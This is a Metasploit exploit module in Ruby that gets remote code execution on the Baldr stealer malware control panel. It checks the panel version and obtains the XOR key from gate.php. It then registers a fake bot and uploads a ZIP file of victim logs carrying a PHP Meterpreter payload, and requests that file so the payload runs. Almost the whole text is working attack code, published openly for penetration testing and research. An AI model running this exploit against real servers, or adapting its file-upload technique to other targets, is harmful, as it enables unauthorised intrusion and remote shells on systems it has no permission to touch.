## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Baldr Botnet Panel Shell Upload Exploit', 'Description' => %q{ This module exploits a arbitrary file upload vulnerability within the Baldr stealer malware control panel. Attackers can turn this vulnerability into an RCE by adding a malicious PHP code inside the victim logs ZIP file and registering a new bot to the panel by uploading the ZIP file under logs directory. On versions 3.0 and 3.1 victim logs are ciphered by a random 4 byte XOR key. This exploit module retrieves the IP spesific XOR key from panel gate and registers a new victim to the panel with adding the selected payload inside the victim logs. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ege Balcı ' # author & msf module ], 'References' => [ ['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'], ['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'], ['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'], ], 'DefaultOptions' => { 'SSL' => false, 'WfsDelay' => 5 }, 'Platform' => [ 'php' ], 'Arch' => [ ARCH_PHP ], 'Targets' => [ [ 'Auto', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' } } ], [ '<= v2.0', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' } } ], [ 'v2.2', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' } } ], [ 'v3.0 & v3.1', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' } } ] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 19 2018', 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']), ] ) end def check if select_target Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}") else Exploit::CheckCode::Safe end end def select_target res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'gate.php') ) if res && res.code == 200 if res.body.include?('~;~') targets[3] elsif res.body.include?(';') targets[2] elsif res.body.size < 4 targets[1] end end end def exploit # Forge the payload name = ".#{Rex::Text.rand_text_alpha(4)}" files = [ { data: payload.encoded, fname: "#{name}.php" } ] zip = Msf::Util::EXE.to_zip(files) hwid = Rex::Text.rand_text_alpha(8).upcase gate_uri = normalize_uri(target_uri.path, 'gate.php') version = select_target # If not 'Auto' then use the selected version if target != targets[0] version = target end gate_res = send_request_cgi({ 'method' => 'GET', 'uri' => gate_uri }) os = Rex::Text.rand_text_alpha(8..12) case version when targets[3] fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~') fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') end key = gate_res.body.to_s.split('~;~')[0] print_good("Key: #{key}") data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0" data = Rex::Text.xor(key, data) res = send_request_cgi({ 'method' => 'GET', 'uri' => gate_uri, 'data' => data.to_s }) fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200 print_good('Bot successfully registered.') data = Rex::Text.xor(key, zip.to_s) form = Rex::MIME::Message.new form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"") res = send_request_cgi({ 'method' => 'POST', 'uri' => gate_uri, 'ctype' => "multipart/form-data; boundary=#{form.bound}", 'data' => form.to_s }) if res && res.code == 200 print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") register_file_for_cleanup("#{name}.php") else print_error("Server responded with code #{res.code}") fail_with(Failure::UnexpectedReply, 'Failed to upload payload') end when targets[2] fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~') fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') end key = gate_res.body.to_s.split(';')[0] print_good("Key: #{key}") data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***" data << zip.to_s result = Rex::Text.xor(key, data) res = send_request_cgi({ 'method' => 'POST', 'uri' => gate_uri, 'data' => result.to_s }) unless res && res.code == 200 print_error("Server responded with code #{res.code}") fail_with(Failure::UnexpectedReply, 'Failed to upload payload') end print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") else res = send_request_cgi({ 'method' => 'POST', 'uri' => gate_uri, 'data' => zip.to_s, 'encode_params' => true, 'vars_get' => { 'hwid' => hwid, 'os' => os, 'cookie' => '0', 'pswd' => '0', 'credit' => '0', 'wallet' => '0', 'file' => '1', 'autofill' => '0', 'version' => 'v2.0' } }) if res && res.code == 200 print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") else print_error("Server responded with code #{res.code}") fail_with(Failure::UnexpectedReply, 'Failed to upload payload') end end vprint_status('Triggering payload') send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php") }, 3) end end